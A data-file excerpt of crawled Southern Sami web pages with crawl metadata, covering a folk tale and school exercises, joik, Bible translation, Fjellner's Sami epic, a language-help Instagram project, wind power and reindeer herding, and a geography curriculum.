gaamegh?\" Dle dehtie sov niesties-voesseste vaalta buejtie-stuhtjem jïh loejhtele riehpenen tjïrrh. Dïhte buejtie-stuhtje gahtji dan krovhten sïjse.\nDle stillie dïhte gaampel gåmma dam nïejtem: \"Gåajvoeh bæjjese krovhteste daejtie gaampel gaamegidie: edtjien byöpmedalledh.\" Dle veedtsi dïhte nïejte gaavtjen jïh guksien mietie. Goh krovhten gåajkoe bööti, dellie vuajnije: voeje lij vååtjeme. \"Tjidtjie, båetieh, vuajnah! Krovhte voejeh vååtje.\" \"Datne barre slaarvesth. Gustie gelkies voejeh våatjodh gaampel gaamegistie?\" \"Båetieh, vuajnah!\" nïejte jeehti. Dïhte gaampel gåmma ojhte veedtsi; dle ojhte dïhte vööjni. Dle dïhte gaampel gåmma tjyöriji; aervide gujht guktie lea gåaradamme, ahte krovhte voejeh våatjoeji. Dle soptseste dïhte gaampel gåmma dan Rovhtegen nïejtese gaajhke dovne, guktie lea gåaradamme, ahte lea satne sov baerniem dasseme: \"Datnem jis åadtjoejim altese sæjjan.\"\nBaahtje lij goltelamme gaajhke dovne, maam dah gööktesh soptsestalligan. Dle dïhte baahtje vaadtsiji våålese gåetien riehpienistie jïh tjaangi gåatan jïh healsohti jïh jeehti: \"Manne leam goltelamme dotnen soptsesem; dotnen soptsesen tsegkie die lea datne mov rïektes tjidtjie.\" Baahtje njåamohti dan sov tjidtjien tjeapohken bïjre jïh tjuvlesti. Dïhte gaampel gåmma tjyörestalla barre aavoen tjïrreh, juktie satne jïjtse baerniem bååstede öödtji (åadtjoeji). Dle dïhte baernie vaarredi, Rovhtegem bovvesti. Goh debpede bööti, dle soptseste: \"Ij leam (ij lij) gujht ontere, juktie manne asvedim dehtie mov mubpide tjidtjeste, juktie dïhte tsååbph jïh hussegh jïh snjearah provhki bårredh.\" Dle dïhte baahtje jeahta: \"Bööremes manne bovvestem dam Rovhtegen dakterem.\" Dle dan baahtjen tjidtjie jeahta: \"Baajeh dam veasodh; dam åadtjoen eeledh guktie sijhtien.\"\nLaavenjassh: Dïhte gollehkeKjernestoff\nQuize: Dïhte gollehke tïjjeKjernestoff\nLaavenjassh: BrorkeKjernestoff\nLaavenjassh: GurhtieKjernestoff\nLaavenjassh: RiepieKjernestoff\nLaavenjassh: Sjugniedimmie-soptseshKjernestoff\nLaavenjassh: Staaloej bïjreKjernestoff\nLaavenjassh: Staaloe jïh åerpienadtjhKjernestoff\nTjaeleme-laavenjassh staaloej bïjreKjernestoff\nLaavenjassh: Rovhtegen bïjreKjernestoff\nLaavenjassh Rovhtegen soptsesasseKjernestoff\nMaam rovhtegen bïjre måjhtah?Kjernestoff\nMaam saajvi bïjre måjhtah?Kjernestoff\nLaavenjassh: Saajvi bïjreKjernestoff\nLaavenjassh: Saajvejaevresne gööleminieKjernestoff\nQuize bïernen bïjreKjernestoff\nLaavenjassh: Bïernen bïjreKjernestoff\nLaavenjassh: Duvrien-ålmaKjernestoff\nLaavenjassh: VaajeseKjernestoff\nLaavenjassh: Biejjien nïejteKjernestoff\nLaavenjassh: Klies KliemmaKjernestoff\nLaavenjassh: Nahkoergöörnjen giebnieKjernestoff\nLaavenjassh: Naahkoegöörnje jaememeKjernestoff\nLaavenjassh: TjuvrieKjernestoff\nLaavenjassh: DïejveshKjernestoff\nDïhte gollehke tïjjeKjernestoff\nBrorkeKjernestoff\nGurhtieKjernestoff\nRiepieKjernestoff\nStaaloej bïjreKjernestoff\nDellie goh staaloe moere-galtine pruvriKjernestoff\nAkte staaloe mij dakterem utniKjernestoff\nStaaloe jïh åerpienadtjhKjernestoff\n- Kjernestoff\nSaajve-jaevresne gööleminieKjernestoff\nSaemie saajvi luvnieKjernestoff\nBïerneKjernestoff\nSaemien jïh boelt-aajjan dååjvehtseKjernestoff\nDuvrien-ålmaKjernestoff\nBiejjien nïejteKjernestoff\nKlies KliemmetKjernestoff\nNahkoergöörnjen giebnieKjernestoff\nNahkoergöörnjen jaememeKjernestoff\nSjeltien nåejtieKjernestoff\nTjuvrieKjernestoff","id":"","dump":"CC-MAIN-2019-22","url":"https:\/\/ndla.no\/subjects\/subject:15\/topic:1:182073\/topic:1:131964\/topic:1:185443\/resource:1:131238","date":"2019-05-19T23:38:29Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-22\/segments\/1558232255182.37\/warc\/CC-MAIN-20190519221616-20190520003616-00160.warc.gz","language":"sma","language_score":0.9999395609,"language_script":"Latn","minhash_cluster_size":7,"top_langs":"{\"sma_Latn_score\": 0.9999395608901978}","num_words":686,"character_repetition_ratio":0.126,"word_repetition_ratio":0.0,"special_characters_ratio":0.149,"stopwords_ratio":0.061,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"SÁMi Ođasmagasiidna orre hammosne\n– Mijjieh såemies jarkelimmieh darjobe, naakede mij lea eevre iemie gosse akte orre redaktööre stuvreme-aajroem vaalta. SÁMI Ođasmagasijne sæjhta annje reportasjh utnedh mijjen gellielaaketje ræjhkoes kultuvrejieliedistie, seamma tïjjen goh mijjieh sïjhtebe pryövedh aerpievuekien daajroem sertedh dan nuerebe boelvese, jïh dovne dejtie mah mov aaltarisnie idtjin gåessie gih dan jïjnjem daajroem vejtesth goh lin byöreme. Sïjhtebe aaj mijjen faalenassem åarjelsaemien gïelesne jåerhkedh jïh tipsh vaajtelibie man bïjre åarjelsaemien lohkijh sijhtieh lohkedh, sæjjasadtje redaktööre Anne Berit Anti jeahta.\nSaemien \"beapmoebïhkedassh\"\nDaennie magasijnesne åadtjoeh dåeriedidh Mama Saram jokngh tjöönghkedh jïh minngebinie sæjrosne tipsh åadtjoeh guktie datne voessjememuerjiem jokngeste darjoeh.\n– Manne damtem manne geerjene sjïdtem gosse daajram manne minngemosth dam lïereme daelie, jïh mijjieh hov daejrebe dïhte maam gåetesne darjobe lea ellen njaelkemes. Manne ojhte gegkestem joekoen jeenjesh nåhtoem åadtjoeh dejstie tjaalegijstie båetijen aejkien magasijnine. Maahtam joe daelie soptsestidh manne edtjem geadtan leekedæmman. Edtjem maeliem vaeltedh, bovtsentjåelieh bïssedh jïh maeliegoervh jïh maeliegaamsoeh darjodh. Edtjem aaj aktene fievsesne mïnnedh gaessiemielhkiem veedtjedh. Mijjieh pryövebe jaepien boelhkh dåeriedidh jïh manne gellie lustes barkoetæjmojde aavodem. Ånnetji fïnkese, men dovne manne jïh gaajhkh jeatjebh mah eah gaajhkem dam maehtieh, byörebe astedh mijjen aerpievuekiem bååstede vaeltedh, Anti jeahta.\nÅahpetji aarkebiejjie\n\"Mii – Gii – Goas\" -sijjie ij eevre gaarvenh, men sæjhta unnebe sjïdtedh jïh ajve saemiengïelesne årrodh.\n– Sijjeste jienebh saernieh, reportasjh, ohtje gïeleraerieh, Quiz jïh dïejvesh åadtjobe, jïh mijjieh åahpetjigujmie Saepmesne åahpenibie. Gieltege sjædta ånnetji daejredh maam dah sijjen aarkebiejjien darjoeh. Mijjieh daennie mini-redaksjovnesne göökte almetjigujmie, lissine dejtie freelanceridie mejgujmie ektine barkebe, dïsse aavoedibie. Gegkiestibie datne mijjem gaskesadth jis dov leah tipsh man bïjre datne sïjhth lïeredh dan aerpievuekien saemien jieleden bïjre, mejtie lea duedtie, beapmoejurjiehtimmie jallh mij akt jeatjah. Mijjieh gegkiestibie datne sïjhth nåhtoem vuejnedh mijjen raajroste aerpievuekien bïjre, jïh gegkiestibie raaktan datne sïjhth mijjen lohkijinie sjïdtedh, Anti jeahta.\nJïh dongkh jïh maaksah åvtelen 29.10.18 maahtah dagke aktem MAC Book Air 128 gb vitnedh. Jis vippsem veeljh aktem gærjam lissine åadtjoeh. Vuartesjh minngemes sæjroem gusnie vielie bïevnesh.","id":"","dump":"CC-MAIN-2019-26","url":"https:\/\/samimag.no\/sma\/content\/sami-odasmagasiidna-orre-hammosne","date":"2019-06-19T14:48:14Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-26\/segments\/1560627999000.76\/warc\/CC-MAIN-20190619143832-20190619165832-00483.warc.gz","language":"sma","language_score":0.9999996424,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"sma_Latn_score\": 0.9999996423721313}","num_words":317,"character_repetition_ratio":0.049,"word_repetition_ratio":0.0,"special_characters_ratio":0.149,"stopwords_ratio":0.091,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Joejke ovmessie nommh åtna ovmessie saemien gïeline, vuelie åarjelsaemien-gïelesne, vuolle julevsaemien-gïelesne, luohti noerhtesaemien-gïelesne jïh leudd luvliesaemien-gïelesne. Baakoe joejkedh gååvnese gaajhkine saemien gïeline.\nLaavenjasse\nGoltelh joejkide. Tjaelieh bievnijen tjaalegem joejki bïjre.\nJuvre-vuelie\nJuvre-vuelie juvrem buerkeste melodijine. Guktie juvre, jis stoerre jallh onne jnv. Juvre-vueline maehtebe juvrh garmerdehtedh, vuesiehtimmien gaavhtan jis bïenje væjkele orreme, jallh vuejeme-råantjoe mij varkebe hajka gosse dan vueliem govleminie.\nJohan Andreas Andersen, Vuonnabahttan luvhtie, vueliem Gáttu juajka mij gaahtoen bïjre. Diedtieh daam lenkem Árdna-TV 2016.\nDaennie videjovisnie Karatina Ripmi rïeksegem juajka.\nVuelie eatnemen bïjre\nDaennie videjovisnie Åemie Nils-Aslak Valkeapää, Aillohas, vueliem Sámi Eatnan Duoddariid juajka.\nVidejovisnie nuelesne Solveig Andersson vueliem Bjiejjie juajka.\nPersovne-vuelie\nPersovne-vuelie gellie funksjovnh åtna, vuesiehtimmien gaavhtan persovne-vuelie edtja aktem almetjem viehkiehtidh sov sijjem siebriedahkesne gaavnedh. Mijjieh maehtebe persovne-vueliem nuhtjedh juktie almetjem måjhtajidh.\nDiedtieh lingkem nuelesne jïh goltelh gosse Sofia Jannok vueliem Irene juajka.\nNils Mattias Andersson sov vuelesne Oulavuolie juajka almetji, juvri, jïh eatnemen bïjre.\nLeudd\nVidejovisnie Matrjona Mitrin leuddem juajka.Matrjona kildin saemie, Sotkajärveste.","id":"","dump":"CC-MAIN-2019-39","url":"https:\/\/ndla.no\/subjects\/subject:15\/topic:1:186476\/topic:1:189511\/resource:1:189256","date":"2019-09-18T00:10:52Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-39\/segments\/1568514573124.40\/warc\/CC-MAIN-20190917223332-20190918005332-00485.warc.gz","language":"sma","language_score":0.9991779327,"language_script":"Latn","minhash_cluster_size":4,"top_langs":"{\"sma_Latn_score\": 0.9991779327392578}","num_words":158,"character_repetition_ratio":0.073,"word_repetition_ratio":0.0,"special_characters_ratio":0.146,"stopwords_ratio":0.057,"flagged_words_ratio":0.0,"lang_id_score":0.999,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Jump to navigation\n-Akte, göökte jallh jienebh gïelh, maanaj guektiengïeleldh evtiedimmien bijre, uvtemes saemien gïelh\nUlmie dejnie biejjine daan jaepien, lea vuesiehtidh guktie ektiedimmie kvaliteetem maanagïertesne nænnoste.\nBiejjielåhkoe 2020\nDaan jaepien jåvlebiejjielåhkosne sïjhtebe fïerhten biejjien baakoeh jallh dïejvesh vuesiehtidh.\nEtter nasjonale råd om forebygging av spredning av Korona-smitte har arrangø\n© 2014 Centre for Sámi Language in Education - Sámi University College, all rights reserved\nDeveloped by: Ramsalt","id":"","dump":"CC-MAIN-2020-16","url":"http:\/\/lohkanguovddas.no\/sma","date":"2020-04-05T12:24:48Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-16\/segments\/1585371604800.52\/warc\/CC-MAIN-20200405115129-20200405145629-00092.warc.gz","language":"sma","language_score":0.9994577765,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9994577765464783}","num_words":64,"character_repetition_ratio":0.027,"word_repetition_ratio":0.0,"special_characters_ratio":0.165,"stopwords_ratio":0.047,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Gellie jaepieh, akte jarkoestimmie dåehkie, govhte åarjelsaemien jarkoestæjjah , bijbelteeksth daroen gïeleste, saemien gïelese jarkoestamme. Dah bijbelteeksth vihkeles jis edtjieh gyrhkesjimmiem åarjelsaemien gïelesne buektiehtidh. Bierna L Bientie barkoeminie daelie goh jarkoestæjja jih aavoede daan sov barkoen bijre.\n– Åhh, daelie manne astoes pensjovniste jih mojjeste. Maahtam barkedh, dejnie mejnie sïjhtem jih bijbelteekstigujmie giehtelidh, Bientie, føørhkede.\nEensi åarjelsaemien gïelem nuhtjedh\nJijnje barkoe bijbeljarkoestæjjide. Muvhtene aejkien ibie buektedh baakoen jallts raajesen bijre laatjkedh gænnah! Bierna L Biente jeahta.\n– Muvhth aejkien geerve jih daam sjiehtelommes baakoem gaavnedh. Dellie tjoerebe nïekedidh jih kanne mubpien aajkan, naastetje gahtja jih baakoem gaavnebe.\nEannan jåarhka soptsestidh:\n– Ij leah gaajhken aejkien aelhkie jih jarkoestæjjine barkedh. Tjoara eensi åarjelsaemien gïelem nuhtjedh jih ussjedidh mejtie hojhte daate gïele, båeries vuekien mietie. Mejtie geerve lohkedh jih guarkedh, Bientie jeahta.\nOrre bijbelteeksth jarkoestamme\nBijbele-siebrie edtja daelie Bienjedaelesne gaavnedidh jih almetjh åadtjoeh soptsestidh jih bijbelteeksti bijre gihtjedidh.\n–Nov amma nemhtie. Daelie utnebe gellie bijbelteeksth maam saemien gïelese jarkoestamme jih gaskevåhkoen- iehkeden åadtjede orre bijbelteeksth vuejnedh. Luste almetjide gaavnesjidh jih håhkesjem jijnjesh, daan iehkeds-mæssoen gåajka båetieh, Bientie jeahta.\nDaate iehkeds mæssoe lea Bienjedaelien gærhkosne goevten 25.b. ts 18.00, daate rijhpeste Lopme Naestien feestivalem, goevten 26.b.-29 beajjan.","id":"","dump":"CC-MAIN-2020-29","url":"https:\/\/www.nrk.no\/sapmi\/orre-bijbelteeksth-aarjelsaemien-gielese-jarkoestamme-1.12228248","date":"2020-07-13T20:42:19Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-29\/segments\/1593657146845.98\/warc\/CC-MAIN-20200713194203-20200713224203-00590.warc.gz","language":"sma","language_score":0.9999960661,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9999960660934448}","num_words":189,"character_repetition_ratio":0.088,"word_repetition_ratio":0.0,"special_characters_ratio":0.157,"stopwords_ratio":0.095,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Anders Fjellnere, Fiellár Ándde, lea beagkoes ålmam juktie satne saemiej sjugnedimmie-eeposem bæjhkoehti. Dïhte hov dïhte dam guhkies vaajesem Biejjienbaernien såangoe jeahnaj eatnamisnie vijriebasse vedti, guktie idtji edtjh ööjeldihkesne dåssjanidh. Lij badth voesteges aejkien dam vaajesem govleme Torne-dajven ålmeste noerhte-Sveerjesne. Fjellneren maanagåetie lij Härjedaelesne, jïh jïjtje hov jeehti satne lij åarjelsaemien dajvesne seammaleejns vaajesh jïh vuelieh govleme gåabpatjahkh Biejjienbaernien jïh Biejjieniejten bïjre.\nAnders Fjellnere hearra-ööhpehtimmiem åadtjoeji Uppsaalan universiteetesne, jïh mænngan ööhpehtimmiem illeme dellie Kaaresovvenisnie barki Noerhte-Sveerjesne, veele dej baeli goh Lars Levi Læstadijuse lij aaj hearra desnie. Læstadijuse maaje jaahkoen åejvehkine sjidti dovne saemide jïh kvænide, mohte Fjellnere jis naan jaepiej mænngan Sorselasse juhti, jïh desnie jïjnjebe åålmehvaajesistie eadtjaldovvi.\nBiejjienbarnie vaajesisnie leah gïeledïejvesh dovne åarjel- jïh noerhtesaemien gïelijste, jïh muvhth aaj suemiengïeleste. Fjellneren tïjjene hov jïjnjesh åålmehvaajesijstie eadtjaldovvin, jïh goh Fjellnere lij Uppsaalesne lohkeminie dellie suemien learohkigujmie åahpenadti guhth eadtjohkelaakan suemien åålmehlaavlomh tjaeliestin, jïh nimhtie jis måjhtaji saemien eeposem aaj darjodh. Seamma vuekine goh Elias Lönnrot lij suemien naasjovnale-eeposem Kalevala dorjeme, Fjellnere deajvoehti teekstem mij Leuhnjeste govleme, Torne-saemien dajvesne, jïh dle lissiehti vaajesh mah govleme altese maanabaelesne jïh nimhtie jis sjidti beagkoes saemien naasjovnale-eeposem Biejjie-baernien såangoe Jeahnaj eatnamisnie. Våaromisnie lea dovletje myjhtihke dïejvesh mah soptsestieh guktie Biejjiebaernie buektehte Jeahnanïejtem vitnedh, jïh dellie maa åådtje dejnie tjiptedh. Dej maanah leah saemiej maadteraahkah maadteraajjah, jïh nimhtie hov saemieh maehtieh bajjehtidh sijjen laahkoeveadtah eevre bååstide biejjieaahtjan.\nFjellnere ojhte lij tjiehpies vaajestæjjam, guktie teekste dan dïeves jïh veljie, jïh baakoeraajesi vihties jïevkehtimmiem. Veele dan sjïeken muvhth dotkijh idtjin laatjkenh væjloe saemien åålmehvaajesem lea, juktie ååpsen buerie jïh tjaebpieslaakan lea haemiedamme! Dan åvteste idtjin Fjellneren vaajestimmiem dåhkesjadh altese jielemebiejjine. Mohte daelie saemieh altese vaajestimmiem heevehtieh, jïh Anders Fjellnerem gotnjese saemiej Homerine.\nBiejjiebaernien vaajesen lissine, jïjnjh vaajesh aaj Biejjien nïejten bïjre. Myjhtem daej soeti våaromisnie soptseste Biejjienïejte altese jaamemen mænngan annje lea Saepmesne vaanterdeminie jïh altese ealoe satnem dåerede. Gosse lea faahkoes dle ij almetji tjelmide vååjnoes, mohte gosse lea åerieminie dle maahta gåabpatjahkh nïejtem jïh ealoem vueptiestidh. Jis naan kaarre dellie nïejtem aajhtsa, jïh buektehte Biejjienïejtem faerhmestidh jïh tjuvliestidh guktie faahka, dle nïejtem jïh ealoem aaj åådtje. Mohte tjoevere aaj vuesiehtidh ahte vïssjeles almam lea – jïh Biejjienïejten raajemh jïh rååresjimmieh goltelidh.\nAkte vuelie soptseste guktie ikth lij naan eablehtsråvvam guhte Biejjienïejtem vueptiesti goh lij åerieminie, mohte mænngan lij nïejtem vitneme dle sluvvies laakan dåemedi jïh slaerviedisti goh edtji riehpenem gaptjedh – juktie Biejjienïejte lij satnem stilleme dam darjodh. Aeredslååvneden, gosse biejjielaemtjie riehpenem tjirrehte, dle Biejjienïejte hojjesje: \"Å, tjidtjeme aehtjemen tjelmieh vuajnam\", jïh dallah låavthgåeteste geasalgåvva jïh gaatele. Eablehts alma dallah nïejtem jïh ealoem bïestele mij lij maahteme altese eekine sjidtedh tjuvlien jïh faerhmiestimmien gaavhtan.\n*\nBåassjoen baalte vealan gåetesne\nBiejjien-nïejte, Njaeviesietnie\nSæjloes jielemen löövles vaejvijste\nHaeliedeminie, jeatja sæjjan\nSæjhta Raerien-aehtjiem vuejnedh\nBiejjiem åhtsa, altese aehtjiem\nHovre-gallesh, jotni fæjjoe\nJaememen aajmoem vuertieminie,\nBåassjoen baalte vealan gåetesne\nBiejjien-nïejte – Njaeviesietnie\nDeajvoehtamme vaajesistie Biejjien-nïejten sealadimmie\nGaski, Harald jïh Lena Kappfjell (deajv.) 2005: Åvtese jåhta – åarjelsaemien tjaalegh jïh tjaalegh åarjelsaemien. DAT, Guovdageaidnu.\nMyjhte\/ myte lea greekengïeleste geaseme baakoste \"mythos\".\nDaate baakoe lea seamma goh soptsestimmie, sïejhme lea dam baakoem nuhtjedh båeries soptsestimmiej bïjre mah buerkestieh dejpelatje jupmelefaamojde jïh mavvege almetjh.\nEepose\/epos lea lidteratuvresuerkiem gusnie soetem soptseste vihties\njïevkehtimmien haemesne. Aerpievierhtien mietie eepose lea tjaalasovveme ihke edtja njaalmeldh-vaajesine soptsesovvedh, jïh lea båeries suerkiem mij aatskadi åvtelen tjaaleldhkultuvre dan vijries sjidti.\nHomer lea tjaaleme beagkoesommes greeke eeposidie nov goh: Illiaden jïh Odysseen medtie 750 å.kr. Daej eeposi våaromem lea Troja-dåaroem, jïh Illiaden mij joekoen dovletji gånkaj jïh båeries jupmeli rïjtemh buerkeste.\nDotkije – gïehtjedæjja. Siejhme lea dagkerem almetjem guhte universitetine barkeminie.","id":"","dump":"CC-MAIN-2020-34","url":"http:\/\/www.calliidlagadus.org\/web\/index.php?sladja=51&vuolitsladja=63","date":"2020-08-06T10:10:50Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-34\/segments\/1596439736902.24\/warc\/CC-MAIN-20200806091418-20200806121418-00094.warc.gz","language":"sma","language_score":0.99999547,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"sma_Latn_score\": 0.9999954700469971}","num_words":573,"character_repetition_ratio":0.044,"word_repetition_ratio":0.0,"special_characters_ratio":0.141,"stopwords_ratio":0.126,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Gïelem Nastedh akte gïeleviehkie prosjeektem åtna, jïh Mølnvik lea akte dejstie mij lea meatan prosjeektesne. Dïhte sov vaajmoegïelem Instagramesne vuesehte, lustes videove jïh guvviegujmie.\nDaate minngemes jaepien Mølnvik gïeleviehkine barkeme. Mølnvik ovmessie videove jïh guvvieh öörnedamme gusnie åarjelsaemien gïelem Instagramesne vuesiehtamme.\nNaemhtie jeatjah aalmetjh guvviej tjirrh aelkebe maehtieh saemiengïelem lïeredh.\nView this post on Instagram\nDaelie gosse cornona-tïjje ibie maehtieh buarastehtedh. Daesnie naan jeatja vuekieh maam maehtede nuhtjedh!😉 Nå i coronatida er det jo ikke lov å håndhilse. Her er noen andre måter dere kan hilsen på!😉 Baakoeh (ord): Gernerigujmie - Med albuene Juelkiejgujmie - Med føttene Ravvine - Med rumpa @hilma_molnvik @jonnamolnvik\n–Manne ovmessie baakoeh jïh tsiehkieh mov aarkebiejjeste gaavnem gusnie maahtam vielie saemiengïele nuhtjedh goh daenbiejjien.\nMølnvik tuhtjie luste dah maehtieh akte lustes sijjieh öörnedieh gusnie almetjh maehtieh åarjelsaemiengïelem lïeredh.\n– Ij goh damtoes goh daate naan stoerre barkoe gosse gåetesne tjahkesjeminie, bene damtoes goh daate barkoe lea gaajh vihkeles læjhkan.\nTuhtjie hijven saemiengïelem sosijaale meediasne vuesiehtidh\nEivind Yrjan Stamnes (21) lea Gïeleviehkien Instagramkontoem akten jaepien dåeriedamme. Dïhte tuhtjie hijven dah Gïeleviehkie barkeminie åarjelsaemiengïele sosijaale meediasne vuesehte.\n– Ij gujht mijjieh dan gellie åarjelsaemieh jïh dellie vihkeles mijjese gïelem ovmessie sijjesne gaavnedh jïh vuesiehtidh. Daaletjh dam Instagramesne dorjedh.\nStamnes jïjtje pryövoe saemiengïelem sosijaale meediasne nuhtjedh, jïh dïhte tuhtjie luste vielie lïeredh.\n– Manne hov jïjnjh lïerem dah gïeleviehkeste jïh munnjan dïhte gaajh aevhkie.\nUktsie gïeleviehkie\nDæjman gosse Gïelem Nastedh prosjektine eelkie dellie nieljie Gïeleviehkie meatan. Dan jaepien uktsie Gïeleviehkie åådtjeme.\nBritt Sparrock mij lea prosjeekten åejvie jeahta dah numhtie dorjeme juktie dah sïjhth jïjnjebh noerh jaksedh.\n–Dah noerh ovmessie nettverk utnieh, jïh gosse mijjieh uktsie gïeleviehkieh utnieh dellie vïenhtebe vielie noerh dan sisvegen åadtjoeh vuejnedh.\nSparrock håhkesje dah gïeleviehkie maehtieh viehkiehtidh saemiengïelem almetjidie lïeredh. Dïhte aaj vajtele noerh duestieh åarjelsaemiengïelem sosijaale meediasne nuhtjedh.\nView this post on Instagram\nDaelie lea giesie jïh dellie aelkebe mieside mïerhkesjidh.☀️Goh giedtesne dellie hijven maehtedh bovtsen guelmie buerkiestidh.🐂🐾 Miesiemearhkoe- kalvmerking Tjeehpes miesie- svart (brun) kalv Rööpses miesie- \"rødaktig\" kalv Jovje miesie- hvit\/grå kalv Miesehke- simle med kalv Råava miesie- kalv som roper på sin mor.(Råavedh- lete etter simla) Bealloe aaltoe- simle som har bjelle Råtnoe- simle som har mistet kalv Lijniegaalloe- rein med hvit hode -- Her får dere noen gloser som kan være nyttige når man er giedtesne\/i gjerdet😉🙌","id":"","dump":"CC-MAIN-2020-34","url":"https:\/\/www.nrk.no\/sapmi\/gieleviehkie-1.15076752","date":"2020-08-12T13:07:22Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-34\/segments\/1596439738892.21\/warc\/CC-MAIN-20200812112531-20200812142531-00469.warc.gz","language":"sma","language_score":0.9999476671,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9999476671218872}","num_words":369,"character_repetition_ratio":0.077,"word_repetition_ratio":0.0,"special_characters_ratio":0.159,"stopwords_ratio":0.054,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Jååktan ålja- jïh energijeministere Tina Bru stoerredigkiebïevnesem bïegkefaamoej bïjre tjeeli. Runar Myrnes Balto, mij lea NSR:en åvtehke, meala stoerrediegkiebïevnese vuesehte reerenasse ij itjmiem guarkah.\n-Ij naanh juerieh ihke bïegkefaamoe bovtsi gåatomem beajsta. Daate reaktaöörnege Frostating laakemaenniereakta aadtjegh jeahteme sov gïetedallemisnie bïegkefaamoebïgkemen bïjre Fovsenisnie. Læjhkan Reerenasse sjïehteladta vielie bïegkefaamoeh båatsoedajvine tseegkedh. Joekoen rovnege dah eah itjmiem vuejnieh, NSR:en åvtehke Runar Myrnes Balto jeahta.\nDah minngemes jaepieh stoerre bïegkefaamoehsaakh saemien dajvesne orreme, mejtie naåke saemien dåårjehtimmieh vedteme. Stoerre gellientaale Saemiedigkesne lea neavroeheerrehkem geaseme jïh ussjedæsteme gaarsjelimmierasta lea jakseme.\n-Fovsenisnie Storheia jïh Roan bïegkefaamoevierhtieh leah daelviegåatomidie beajsteme, jïh seamma Øyfjellet:sne Vefsn:sne deahpede. Aaj barka stoerre bïegkefaamoevierhtieh tseegkedh Finnmark:sne Tanan jïh Karasjoken gaskesne.\n-Lea numhtie bïegkefaamoeh gåatomem beajsta. Dannasinie luhpieh båatsoem involveredh ij leah nukies. Reerenasse tjuara goltelidh mij båatsoe lea gellie jaepieh jeahteme, jïh dannasinie ij naanh bïegkefaamoeh edtjieh båatsoedajvine bigkedh, Myrnes Balto jåarhka.\nJååktan Stoerredigkie nænnoesti kaanne reerenasse edtja gaajhkide bïegkefaamoehkonsesjovnh tjïrrehtidh fiejlh gaavnedh, jïh kaanne mieriedimmieh bååstede vaeltedh. NSR:en åvtehke gegkeste reerenasse sæjhta daam hillem nuhtjedh jïh bïgkemem Øyfjellet:sne tjöödtjestidh.\n-Sjïehtedimmie båatsojne råajvarimmien bïjre jïh båatsoem eevtjedh lea konsesjovnetsiehkie Øyfjellet:sne bigkedh. Daate daejrebe ij sjïdth, jïh åehpies lissiebïgkeme lea gïjrejuhtemem båatsose aareme. Daelie gegkestem reerenasse hillem Stoerredigkeste nuhtjie jïh konsesjovnem Øyfjellet:sne bååstede vaalta, Balto minngemosth jeahta.","id":"","dump":"CC-MAIN-2020-40","url":"https:\/\/saernieh.no\/ij-itjmiem-biegkefaamoen-jih-baatsoen-bijre-guarkah\/","date":"2020-10-01T19:38:08Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-40\/segments\/1600402131986.91\/warc\/CC-MAIN-20201001174918-20201001204918-00409.warc.gz","language":"sma","language_score":1.0000004768,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 1.0000004768371582}","num_words":205,"character_repetition_ratio":0.084,"word_repetition_ratio":0.0,"special_characters_ratio":0.13,"stopwords_ratio":0.127,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"- Ulmie\n- Faagen åejvieboelhkh\n- Man gellie tæjmoeh\n- Faagen maadth maahtoeh\n-\nMaahtaldahkeulmieh\n- Maahtoeulmie 2. jaepiedaltesen mænngan\n- Maahtoeulmie 4.jaepiedaltesen mænngan\n- Maahtoeulmie 7. jaepiedaltesen mænngan\n- Maahtoeulmie 10.jaepiedaltesen mænngan\n- Maahtoeulmie Jåa1 mænngan- studijeryöjreden ööhpehtimmieprogrammh\n- Maahtoeulmie Jåa1 mænngan – barkoefaageles ööhpehtimmieprogrammh\n- Maahtoeulmie Jåa3 mænngan- lissiebigkeme sïejhme studijemaahtose\n- Faagem vierhtiedidh\nUlmie\nEatnemedaejreme lea sjïdtedamme dan åvteste almetje lea tjetskehke, jïh daarpesje vaestiedassh gaavnedh gyhtjelasside sov bïjre, jieleden jïh jieledevuekien bïjre jïh mijjen sijjien bïjre eatnamisnie jïh universesne, jïh lea naemhtie akte bielie mijjen kultuvreste.\nSaepmesne daan beajjetje maanah jïh noerh aktene siebriedahkesne byjjenieh, gusnie maahta aerpievuekien jieledevuekieh vuejnedh, jïh daejbaaletje daejreme jïh gïerve teknologije leah gaavnedamme. Saemien aerpievuekien daajroe eatnemen bïjre aktem ållesth ussjedimmiem jïh goerkesem fokusisnie åtna, gusnie leavloem beaja praktihkeles tjiehpiesvoetide. Eatnamisnie bïerkenidh jïh eatnemem eensilaakan jïh jiermijeslaakan nuhtjedh leah vyörtegs saemien tjiehpiesvoeth, gusnie daajroe boelveste boelvese sertieståvva eadtjohke darjomi tjirrh. Eatnemefaage edtja daejnie daajroesertiestimmine viehkiehtidh.\nLaakh jïh teorijh eatnemedaejriemisnie leah maallh aktede gellielaaketje rïektesvoeteste, jïh daah maallh jorkesieh jallh 